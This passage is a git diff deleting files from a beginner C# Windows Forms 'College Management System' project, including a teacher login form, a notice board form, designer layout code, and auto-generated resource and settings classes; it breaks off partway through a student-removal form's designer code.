CMS -{ - public partial class LoginFormForUser : Form - { - public LoginFormForUser() - { - InitializeComponent(); - } - - private void button1_Click(object sender, EventArgs e) - { - string name = NameBox.Text; - string password = PasswordBox.Text; - bool Checker = TEACHERDL.isTeacher(name, password); - if(Checker == true) - { - TeacherMenu menu = new TeacherMenu(); - this.Close(); - menu.Show(); - } - } - } -} diff --git a/Add Code Here/C#/CMS/LoginFormForUser.resx b/Add Code Here/C#/CMS/LoginFormForUser.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/LoginFormForUser.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/NoticeForm.Designer.cs b/Add Code Here/C#/CMS/NoticeForm.Designer.cs deleted file mode 100644 index b1d7602f78f..00000000000 --- a/Add Code Here/C#/CMS/NoticeForm.Designer.cs +++ /dev/null @@ -1,243 +0,0 @@ - -namespace CMS -{ - partial class NoticeForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.Backbutton = new System.Windows.Forms.Button(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.button1 = new System.Windows.Forms.Button(); - this.noticeBox = new System.Windows.Forms.TextBox(); - this.saveButton = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 21F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 79F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 24.66667F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 75.33334F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1754, 684); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(362, 162); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(116, 69); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(130, 24); - this.label1.TabIndex = 0; - this.label1.Text = "Notice Board"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.Backbutton, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 171); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(362, 510); - this.tableLayoutPanel3.TabIndex = 1; - // - // Backbutton - // - this.Backbutton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.Backbutton.BackColor = System.Drawing.Color.Red; - this.Backbutton.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.Backbutton.Location = new System.Drawing.Point(118, 217); - this.Backbutton.Name = "Backbutton"; - this.Backbutton.Size = new System.Drawing.Size(125, 75); - this.Backbutton.TabIndex = 2; - this.Backbutton.Text = "Back"; - this.Backbutton.UseVisualStyleBackColor = false; - this.Backbutton.Click += new System.EventHandler(this.Backbutton_Click); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(371, 3); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 1; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(1380, 162); - this.tableLayoutPanel4.TabIndex = 2; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(628, 69); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(124, 24); - this.label2.TabIndex = 1; - this.label2.Text = "Notice Form"; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.button1, 0, 2); - this.tableLayoutPanel5.Controls.Add(this.noticeBox, 0, 0); - this.tableLayoutPanel5.Controls.Add(this.saveButton, 0, 1); - this.tableLayoutPanel5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel5.Location = new System.Drawing.Point(371, 171); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 3; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 187F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1380, 510); - this.tableLayoutPanel5.TabIndex = 3; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Green; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(627, 391); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(125, 75); - this.button1.TabIndex = 2; - this.button1.Text = "Update Notice"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // noticeBox - // - this.noticeBox.Dock = System.Windows.Forms.DockStyle.Fill; - this.noticeBox.Location = new System.Drawing.Point(3, 3); - this.noticeBox.Multiline = true; - this.noticeBox.Name = "noticeBox"; - this.noticeBox.Size = new System.Drawing.Size(1374, 155); - this.noticeBox.TabIndex = 0; - // - // saveButton - // - this.saveButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.saveButton.BackColor = System.Drawing.Color.Green; - this.saveButton.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.saveButton.Location = new System.Drawing.Point(627, 217); - this.saveButton.Name = "saveButton"; - this.saveButton.Size = new System.Drawing.Size(125, 75); - this.saveButton.TabIndex = 1; - this.saveButton.Text = "Save"; - this.saveButton.UseVisualStyleBackColor = false; - this.saveButton.Click += new System.EventHandler(this.saveButton_Click); - // - // NoticeForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1754, 684); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "NoticeForm"; - this.Text = "NoticeForm"; - this.Load += new System.EventHandler(this.NoticeForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel5.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TextBox noticeBox; - private System.Windows.Forms.Button saveButton; - private System.Windows.Forms.Button Backbutton; - private System.Windows.Forms.Button button1; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/NoticeForm.cs b/Add Code Here/C#/CMS/NoticeForm.cs deleted file mode 100644 index 70087fcf2d2..00000000000 --- a/Add Code Here/C#/CMS/NoticeForm.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; - -namespace CMS -{ - public partial class NoticeForm : Form - { - public NoticeForm() - { - InitializeComponent(); - TEACHERDL.readNoticeFromFile(); - noticeBox.Text = TEACHERDL.notice; - } - - private void saveButton_Click(object sender, EventArgs e) - { - string Notice = noticeBox.Text; - TEACHERDL.addNoticeIntoList(Notice); - MessageBox.Show("Save Notice"); - noticeBox.Clear(); - - } - - private void Backbutton_Click(object sender, EventArgs e) - { - TeacherMenu menu = new TeacherMenu(); - this.Close(); - menu.Show(); - } - - private void button1_Click(object sender, EventArgs e) - { - noticeBox.Clear(); - } - - private void NoticeForm_Load(object sender, EventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/NoticeForm.resx b/Add Code Here/C#/CMS/NoticeForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/NoticeForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/Program.cs b/Add Code Here/C#/CMS/Program.cs deleted file mode 100644 index e32db78836d..00000000000 --- a/Add Code Here/C#/CMS/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace CMS -{ - static class Program - { - /// - /// The main entry point for the application. - /// - [STAThread] - static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run(new Form1()); - } - } -} diff --git a/Add Code Here/C#/CMS/Properties/AssemblyInfo.cs b/Add Code Here/C#/CMS/Properties/AssemblyInfo.cs deleted file mode 100644 index 909d47e1a33..00000000000 --- a/Add Code Here/C#/CMS/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("CMS")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("CMS")] -[assembly: AssemblyCopyright("Copyright © 2022")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("24374694-55ba-41b2-81c4-5e479159954d")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Add Code Here/C#/CMS/Properties/Resources.Designer.cs b/Add Code Here/C#/CMS/Properties/Resources.Designer.cs deleted file mode 100644 index e60d781176f..00000000000 --- a/Add Code Here/C#/CMS/Properties/Resources.Designer.cs +++ /dev/null @@ -1,195 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// Runtime Version:4.0.30319.42000 -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - -namespace CMS.Properties { - using System; - - - /// - /// A strongly-typed resource class, for looking up localized strings, etc. - /// - // This class was auto-generated by the StronglyTypedResourceBuilder - // class via a tool like ResGen or Visual Studio. - // To add or remove a member, edit your .ResX file then rerun ResGen - // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - internal class Resources { - - private static global::System.Resources.ResourceManager resourceMan; - - private static global::System.Globalization.CultureInfo resourceCulture; - - [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] - internal Resources() { - } - - /// - /// Returns the cached ResourceManager instance used by this class. - /// - [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Resources.ResourceManager ResourceManager { - get { - if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("CMS.Properties.Resources", typeof(Resources).Assembly); - resourceMan = temp; - } - return resourceMan; - } - } - - /// - /// Overrides the current thread's CurrentUICulture property for all - /// resource lookups using this strongly typed resource class. - /// - [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Globalization.CultureInfo Culture { - get { - return resourceCulture; - } - set { - resourceCulture = value; - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap _126337 { - get { - object obj = ResourceManager.GetObject("126337", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap _3589030 { - get { - object obj = ResourceManager.GetObject("3589030", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap College_Management { - get { - object obj = ResourceManager.GetObject("College-Management", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap College_Management_System { - get { - object obj = ResourceManager.GetObject("College-Management-System", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap delete { - get { - object obj = ResourceManager.GetObject("delete", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap delete_business_user_icon_cartoon_style_delete_business_user_icon_cartoon_delete_business_user_vector_icon_web_design_216465921 { - get { - object obj = ResourceManager.GetObject("delete-business-user-icon-cartoon-style-delete-business-user-icon-cartoon-delete-" + - "business-user-vector-icon-web-design-216465921", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap download { - get { - object obj = ResourceManager.GetObject("download", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap download__1_ { - get { - object obj = ResourceManager.GetObject("download (1)", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap images { - get { - object obj = ResourceManager.GetObject("images", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap images__1_ { - get { - object obj = ResourceManager.GetObject("images (1)", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap png_transparent_computer_icons_result_text_logo_sign_thumbnail { - get { - object obj = ResourceManager.GetObject("png-transparent-computer-icons-result-text-logo-sign-thumbnail", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap remove { - get { - object obj = ResourceManager.GetObject("remove", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap stock_vector_signup_form_login_page_design_you_can_use_it_for_multipurpose_web_projects_login_form_menu_line_1700033632 { - get { - object obj = ResourceManager.GetObject("stock-vector-signup-form-login-page-design-you-can-use-it-for-multipurpose-web-pr" + - "ojects-login-form-menu-line-1700033632", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - } -} diff --git a/Add Code Here/C#/CMS/Properties/Resources.resx b/Add Code Here/C#/CMS/Properties/Resources.resx deleted file mode 100644 index 83360bd98db..00000000000 --- a/Add Code Here/C#/CMS/Properties/Resources.resx +++ /dev/null @@ -1,160 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - ..\Resources\images (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\remove.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\College-Management.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\images.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\png-transparent-computer-icons-result-text-logo-sign-thumbnail.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\delete-business-user-icon-cartoon-style-delete-business-user-icon-cartoon-delete-business-user-vector-icon-web-design-216465921.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\126337.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\College-Management-System.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\stock-vector-signup-form-login-page-design-you-can-use-it-for-multipurpose-web-projects-login-form-menu-line-1700033632.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\download (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\3589030.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/Properties/Settings.Designer.cs b/Add Code Here/C#/CMS/Properties/Settings.Designer.cs deleted file mode 100644 index 1913c547298..00000000000 --- a/Add Code Here/C#/CMS/Properties/Settings.Designer.cs +++ /dev/null @@ -1,29 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// Runtime Version:4.0.30319.42000 -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - - -namespace CMS.Properties -{ - [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] - internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase - { - - private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); - - public static Settings Default - { - get - { - return defaultInstance; - } - } - } -} diff --git a/Add Code Here/C#/CMS/Properties/Settings.settings b/Add Code Here/C#/CMS/Properties/Settings.settings deleted file mode 100644 index 39645652af6..00000000000 --- a/Add Code Here/C#/CMS/Properties/Settings.settings +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - diff --git a/Add Code Here/C#/CMS/RemoveStudentForm.Designer.cs b/Add Code Here/C#/CMS/RemoveStudentForm.Designer.cs deleted file mode 100644 index 87ff8fc135f..00000000000 --- a/Add Code Here/C#/CMS/RemoveStudentForm.Designer.cs +++ /dev/null @@ -1,268 +0,0 @@ - -namespace CMS -{ - partial class RemoveStudentForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel6 = new System.Windows.Forms.TableLayoutPanel(); - this.studentGV = new System.Windows.Forms.DataGridView(); - this.Remove = new System.Windows.Forms.DataGridViewButtonColumn(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.pictureBox2 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.tableLayoutPanel6.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.studentGV)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 9.29432F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 90.70568F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 3; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 16.91332F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 83.08668F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1162, 473); - 